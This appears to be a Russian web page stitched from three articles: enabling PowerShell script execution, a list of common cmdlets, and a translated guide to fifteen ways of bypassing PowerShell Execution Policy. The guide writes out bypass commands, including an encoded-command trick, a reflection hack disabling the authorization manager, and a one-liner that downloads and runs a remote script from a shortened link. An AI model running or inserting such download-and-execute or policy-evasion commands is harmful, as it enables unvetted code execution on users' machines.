Меню Рубрики

Как включить выполнение сценариев в windows 10

Ошибка «Невозможно загрузить файл ….ps1, так как выполнение сценариев отключено в этой системе» (РЕШЕНО)

В настоящее время в каждую Windows предустановлен PowerShell.

PowerShell — это не только консоль предоставляющая доступ к утилитам командной строки, но и мощное средство администрирования и автоматизации. В PowerShell реализовано множество команд и функций, которые могут добавляться как модули устанавливаемым программным обеспечением.

PowerShell поддерживает как выполнение отдельных команд, так и пакетные файлы с набором команд, то есть скрипты. Эти скрипты можно назвать аналогами файлов .bat для оболочки CMD (которая, кстати, по-прежнему доступна в Windows).

Но при попытке запуска скрипта PowerShell вас, вероятно, ждёт неприятный сюрприз. К примеру, моя попытка выполнить файл PowerShell с расширением .ps1:

Эта команда вызвала ошибку:

Ключевой является информация:

Причина ошибки в том, что в системе Windows по умолчанию запрещено запускать пакетные файлы, скрипты PowerShell.

Как разрешить в Windows выполнение скриптов PowerShell

Проблема заключается в том, что политика выполнения скриптов запрещает выполнять эти самые скрипты. Узнать текущее значение политики можно командой:

Для своей системы я получил значение:

Чтобы разрешить выполнение файлов с расширением .ps1, то есть чтобы запустить скрипт PowerShell в Windows, выполните команду:

Когда поступит запрос, введите Y.

Как запретить в Windows выполнение скриптов PowerShell

Чтобы вновь включить запрет на выполнение пакетных файлов в PowerShell достаточно выполнить команду:

Опасно ли разрешать выполнение файлов со скриптами PowerShell в Windows?

При выполнении команды по изменению политика запуска скриптов каждый раз показывается сообщение:

Предупреждение кажется довольно страшным, но в самой справке, на которую дана ссылка, написано, что данная политика запрета запуска скриптов не является мерой безопасности, поскольку пользователь по-прежнему может выполнить команды одну за другой. Более того, у хакеров есть возможность обойти этот запрет и запустить скрипт даже при отключённой политике.

Как сказано в документации, это мера для предотвращения случайного выполнения скриптов PowerShell и случайных изменений.

То есть в целом изменение этой настройки не уменьшает уровень безопасности системы. Но если вы редко запускаете скрипты PowerShell, то можете установить уровень Restricted, то есть запрет выполнения сценариев.

Источник

PowerShell — продвинутая командная строка в Windows 10

Друзья, сегодня хочу рассказать про «Windows PowerShell» — средство автоматизации в Windows 10, своего рода язык сценариев с интерфейсом командной строки. Проще говоря, PowerShell — это продвинутая командная строка (cmd) с расширенными возможностями, которые позволяют более профессионально работать с Windows.

Ниже подробно покажу как включить » PowerShell» в Windows 10, расскажу о наиболее полезных на мой взгляд «командлетах» ( командах ) в продвинутой командной строке►►

Как включить PowerShell

Запустить продвинутую командную строку можно через обычную командную строку — для этого нажмите комбинацию клавиш [ WIN + R ] и введите команду «PowerShell». После запуска откроется окно, куда и будем вводить команды.

PowerShell в Windows 10 насчитывает более 620 команд , в данной статье мы рассмотрим наиболее интересные из них. Полный список команд можно посмотреть, введя в консоли PowerShell команду [ Get-Command -CommandType cmdlet ].

Оценка производительности компьютера

Чтобы узнать производительность компьютера на Windows 10 по шкале от 1 (min) до 9,9 (max), сделайте следующее:

  1. Запустите PowerShell: [ WIN + R ] ► PowerShell ► Ввод
  2. Введите команду [ winsat formal ] и дождитесь окончания процесса
  3. Затем введите команду [ Get-CimInstance Win32_WinSAT ] и посмотрите результат.

Общая производительность будет представлена в виде таблички с оценкой производительности отдельно для каждого показателя:

  • CPUScore — оценка работы процессора
  • D3DScore — оценка работы видеокарты в играх
  • DiskScore — оценка работы жесткого диска: для HDD максимум 5,9, для SSD — 9,9
  • GraphicsScore — оценка работы видеокарты в видео и на рабочем столе
  • MemoryScore — оценка работы ОЗУ (RAM)

Информация о драйверах

Узнать информацию обо всех установленных драйверах на компьютере можно с помощью специальной команды [ Driverquery ]. После ее ввода отобразится список всех драйверов с подробной информацией о каждом из них: название, модуль, версия.

Полная информация о компьютере

Есть специальная команда [ Systeminfo ], которая выведет полную информацию о конфигурации компьютера: все данные об установленной ОС, комплектующих, сетевых настройках и т.п.

С помощью команды [ Get-Process ] можно посмотреть перечень всех запущенных процессов и служб Windows. Если наименование служб вам не знакомо, узнать их название и функции можно с помощью команды [ Get-Service ]

Другие полезные команды PowerShell

Ниже представлен список некоторых команд и функций, которые могут пригодиться:

  • [ Set-Date ] — позволяет изменить системную дату и время в WIndows 10
  • [ Ipconfig ] — позволяет просмотреть сетевые настройки
  • [ Restore-Computer ] — запускает восстановление ОС после критической ошибки, например, «синего экрана смерти»
  • [ Restart/Stop-Computer ] — перезагружает или выключает компьютер
  • [ New-NetIPAddress ] — позволяет создать и настроить IP-адрес
  • [ Get-PSDrive ] — показывает подробную информацию о всех подключенных дисках ( HDD, SSD, USB )

⚡ Как я уже отмечал выше, Windows PowerShell — мощное средство для глубокой настройки Windows 10. Эта продвинутая командная строка позволяет настраивать и выполнять пользовательские скрипты и сценарии. В первую очередь , PowerShell ориентирован на продвинутых пользователей, однако, некоторые команды и функции могут быть полезны и обычным пользователям.

Источник

15 способов обхода PowerShell Execution Policy

По умолчанию PowerShell сконфигурирован на запрет выполнения скриптов в системах на базе ОС Windows. Подобные настройки могут затруднять работу админов, пентестеров и разработчиков, и в этой статье я расскажу о 15 способах обхода execution policy без использования прав локального администратора.

Автор: Scott Sutherland

По умолчанию PowerShell сконфигурирован на запрет выполнения скриптов в системах на базе ОС Windows. Подобные настройки могут затруднять работу админов, пентестеров и разработчиков, и в этой статье я расскажу о 15 способах обхода execution policy без использования прав локального администратора. Полагаю, что есть техники, которые не будут упомянуты из-за моей забывчивости или элементарного незнания, однако, надеюсь, нижеприведенный список будет хорошим стартом для тех, кто нуждается в нем.

Что такое PowerShell Execution Policy?

Execution policy определяет, какие типы скриптов могут быть запущены (если вообще могут) в системе. По умолчанию значение параметра выставлено как « Restricted », что запрещает запуск любых скриптов. Однако следует понимать, что настройка Execution Policy никогда не относилась к управлению безопасностью, а служила лишь для того, чтобы администраторы случайно не могли вывести систему из строя. Именно поэтому существует множество техник, чтобы обойти эти настройки, включая некоторые, предоставленные компанией Microsoft. Более подробно о Execution Policy и других настройках безопасности в PowerShell рекомендую почитать блог Карлоса Переса .

Зачем нужно обходить Execution Policy?

Кажется, один из наиболее распространенных ответов на вопрос, обозначенный в заголовке, — автоматизация процессов. Однако есть и другие причины, по которым PowerShell стал популярным среди администраторов, пентестеров и хакеров. PowerShell:

  • Встроен в Window.
  • Может вызывать Windows API.
  • Может запускать команды без записи на диск.
  • Может избегать обнаружения антивирусами.
  • Уже помечен как «достоверный» и находится в большинстве белых списков.
  • Используется при написании многих утилит безопасности с открытым исходным кодом.

Как посмотреть настройки Execution Policy

Перед началом использования всех возможностей PowerShell, потребуется обойти запрет на запуск скриптов. Текущие настройки можно получить, выполнив команду «Get-ExectionPolicy». Если запрет выставлен, то при запуске команды появится следующее сообщение:

PS C:\> Get-ExecutionPolicy

Рисунок 1: Результат выполнения команды в системе, где установлен запрет на запуск скриптов

Важно отметить, что Execution Policy может устанавливаться на различных уровнях системы. Чтобы посмотреть список уровней, используйте команду ниже (за более подробной информацией обращайтесь к соответствующей странице TechNet).

Get-ExecutionPolicy -List | Format-Table –AutoSize

Рисунок 2: Настройки Execution Policy на различных системных уровнях

Настройка тестовой среды

В примерах ниже я буду использовать скрипт с именем runme.ps, содержащий следующую команду для вывода сообщения в консоль:

Write-Host «My voice is my passport, verify me.»

При запуске скрипта в системе со стандартными настройками Execution Policy выводится следующая ошибка:

Рисунок 3: Ошибка, выводимая при запуске тестового скрипта в среде, где настрое запрет на запуск скриптов

Если ваша текущая политика разрешает запуск скриптов, поставить запрет (в целях тестирования) можно при помощи команды Set-ExecutionPolicy Restricted, запущенной из консоли администратора PowerShell. Ну, хорошо, достаточно пустой болтовни. Перейдем непосредственно к методам обхода запрета, установленного в Execution Policy.

1. Копирование скрипта непосредственно в интерактивную консоль PowerShell

Скопируйте и вставьте скрипт в интерактивную консоль, как показано ниже. Однако имейте в виду, что вы будете ограничены привилегиями текущего пользователя. Метод наиболее часто используется для запуска простых скриптов, когда у вас есть доступ к интерактивной консоли. Кроме того, эта техника не влечет за собой изменения настроек и не требует записи на диск.

Рисунок 4: Запуск скрипта при помощи копирования в интерактивную консоль

2. Отправка содержимого скрипта в стандартный поток ввода PowerShell

Просто отправьте содержимое скрипта в стандартный поток ввода. Техника не влечет за собой изменения настроек и не требует записи на диск.

Echo Write-Host «My voice is my passport, verify me.» | PowerShell.exe -noprofile —

Рисунок 5: Вывод содержимого скрипта в стандартный поток ввода

3. Чтение скрипта из файла и перенаправление содержимого в стандартный поток ввода PowerShell

Используйте стандартную команду «type» или PowerShell команду «Get-Content» для чтения содержимого скрипта с диска и перенаправьте полученный результат в стандартный поток ввода. Техника не влечет за собой изменения настроек, однако требует записи на диск. Чтобы избежать записи на диск, можно использовать сетевой общий ресурс (network share).

Пример 1: Использование PowerShell команды Get-Content

Get-Content .\runme.ps1 | PowerShell.exe -noprofile —

Рисунок 6: Использование команды Get-Content

Пример 2: Использование команды Type

TYPE .\runme.ps1 | PowerShell.exe -noprofile —

Рисунок 7: Использование команды Type

4. Загрузка скрипта из сети и запуск при помощи Invoke Expression

Технику можно использовать для загрузки скрипта из интернета и запуска без записи на диск. Также не будут изменены никакие настройки. Я видел много способов запуска скриптов подобным образом, но недавно наткнулся на следующий пример:

powershell -nop -c «iex(New-Object Net.WebClient).DownloadString(‘http://bit.ly/1kEgbuH’)»

Рисунок 8: Загрузка скрипта из интернета и запуск при помощи Invoke Expression

5. Использование параметра Command

Техника схожа с примером через копирование и вставку, но может быть использована без интерактивной консоли. Метод прекрасно подходит для простых скриптов, но запуск более сложных скриптов, обычно, оканчивается ошибками. Техника не влечет за собой изменения настроек и не требует записи на диск.

Пример 1: Полная команда

Powershell -command «Write-Host ‘My voice is my passport, verify me.'»

Рисунок 9: Запуск скрипта при помощи полной версии параметра

Пример 2: Короткая команда

Powershell -c «Write-Host ‘My voice is my passport, verify me.'»

Можно объединить вышеуказанные команды в пакетные файлы и поместить их в автозагрузку для увеличения уровня привилегий.

6. Использование параметра EncodeCommand

Метод схож с предыдущей техникой, но здесь все скрипты закодированы в строку Unicode. Кодирование скрипта позволяет избежать ошибок, возникающих при использовании параметра «Command». Техника не влечет за собой изменения настроек и не требует записи на диск. Пример ниже взят из Posh-SecMod . Та же утилита содержит хороший метод для уменьшения размера закодированных команд.

Пример 1: Полный вариант

$command = «Write-Host ‘My voice is my passport, verify me.'»
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand

Рисунок 10: Полный вариант команды

Пример 2: Сокращенный параметр

7. Использование команды Invoke-Command

Техника, найденная мной в блоге Obscuresec, используется через интерактивную консоль или в сочетании с параметром «Command». Главная особенность метода в том, что его можно использовать для запуска команд на удаленных системах, где разрешен запуск скриптов PowerShell. Техника не влечет за собой изменения настроек и не требует записи на диск.

Рисунок 11: Использование команды Invoke-Command

Команда ниже, созданная по мотивам блога Obscuresec, может использоваться для переноса настроек execution policy с удаленной машины на локальную.

invoke-command -computername Server01 -scriptblock | set-executionpolicy -force

8. Использование команды Invoke-Expression

Как и в предыдущем случае, техника используется через интерактивную консоль или в сочетании с параметром «Command». Метод не влечет за собой изменения настроек и не требует записи на диск. Ниже показано несколько наиболее распространенных способов использования команды Invoke-Expression для обхода execution policy.

Пример 1: Полная версия команды Get-Content

Get-Content .\runme.ps1 | Invoke-Expression

Рисунок 12: Полный вариант команды Get-Content

Пример 2: Сокращенный вариант Get-Content

9. Использование флага Bypass

Флаг добавлен разработчиками Microsoft для обхода execution policy при запуске скриптов из файлов. Microsoft заявляет, что при использование этого флага «ничего не блокируется и не выводится никаких предупреждений или сообщений». Техника не влечет за собой изменения настроек и не требует записи на диск.

PowerShell.exe -ExecutionPolicy Bypass -File .\runme.ps1

Рисунок 13: Использование флага Bypass

10. Использование флага Unrestricted

Техника схожа с предыдущей. Хотя, при использовании флага Unrestricted Microsoft заявляет, что «загружаются все конфигурационные файла и запускаются все скрипты. Если вы запустите неподписанный скрипт, загруженные из интернета, появится сообщение с вопросом о подтверждении запуска». Метод не влечет за собой изменения настроек и не требует записи на диск.

PowerShell.exe -ExecutionPolicy UnRestricted -File .\runme.ps1

Рисунок 14: Использование флага Unrestricted

11. Использование флага Remote-Signed

Создайте скрипт. Затем подпишите его, используя руководство , написанное Карлосом Пересом. Теперь запустите скрипт, используя команду ниже:

PowerShell.exe -ExecutionPolicy Remote-signed -File .\runme.ps1

12. Запрет ExecutionPolicy путем выгрузки Authorization Manager

С этой техникой я столкнулся на сайте http://www.nivot.org . Функцию, указанную ниже, можно запустить через интерактивную консоль или в сочетании с параметром «command». После запуска будет в поле AuthorizationManager будет установлено значение null, в результате чего остаток сессии у execution policy будет статус unrestricted. Техника не влечет за собой постоянного изменения в настройках и не требует записи на диск. Хотя, в текущей сессии изменения будут.

function Disable-ExecutionPolicy <($ctx =
$executioncontext.gettype().getfield(«_context»,»nonpublic,instance»).getvalue(
$executioncontext)).gettype().getfield(«_authorizationManager»,»nonpublic,instance»).
setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager «Microsoft.PowerShell»))>

Рисунок 15: Отключение Authorization Manager в текущей сессии

13. Установка Excution Policy для уровня Process

В начале статьи было сказано, что execution policy может быть применена к различным уровням (включая уровень process, на которым у вас есть контроль). Используя эту технику, execution policy может быть установлена в статус unrestricted во время сессии. Кроме того, метод не влечет за собой изменения в настройках и не требует записи на диск. Я нашел эту технику в блоге r007break .

Set-ExecutionPolicy Bypass -Scope Process

Рисунок 16: Установка статуса Unrestricted для уровня Process

14. Установка статуса Unrestricted для уровня CurrentUser при помощи команды

Техника схожа с предыдущей, но здесь изменяются установки среды текущего пользователя путем модификации ключа в реестре. Метод не влечет за собой изменения настроек и не требует записи на диск. Техника также была найдена в блоге r007break .

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

Рисунок 17: Установка статуса Unrestricted для уровня CurrentUser

15. Установка статуса Unrestricted для уровня CurrentUser через реестр

В этом примере я покажу, как выставлять постоянные настройки execution policy для текущего пользователя путем модификации ключа реестра напрямую.

Рисунок 18: Выставление статуса для execution policy через реестр

Статья была написана с той целью, чтобы запреты execution policy не были препятствием для разработчиков, администраторов и пентестеров. Microsoft никогда не пыталась сделать безопасным PowerShell, именно поэтому столь много техник для обхода запретов. Компания Microsoft предоставила несколько полезных встроенных инструментов, а сообщество специалистов по безопасности продемонстрировало несколько интересных трюков. Спасибо всем, кто внес свой вклад в развитие темы обхода запуска скриптов путем написания статей в блогах и презентаций. Всем остальным желаю удачи при использовании PowerShell, и не забывайте об ответственности за свои действия ;).

Источник

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

  • Как включить второй рабочий стол в windows 10
  • Как включить второй процессор на windows 10
  • Как включить второй windows на компьютере
  • Как включить второе ядро процессора windows 7
  • Как включить вторичный вход в систему windows 10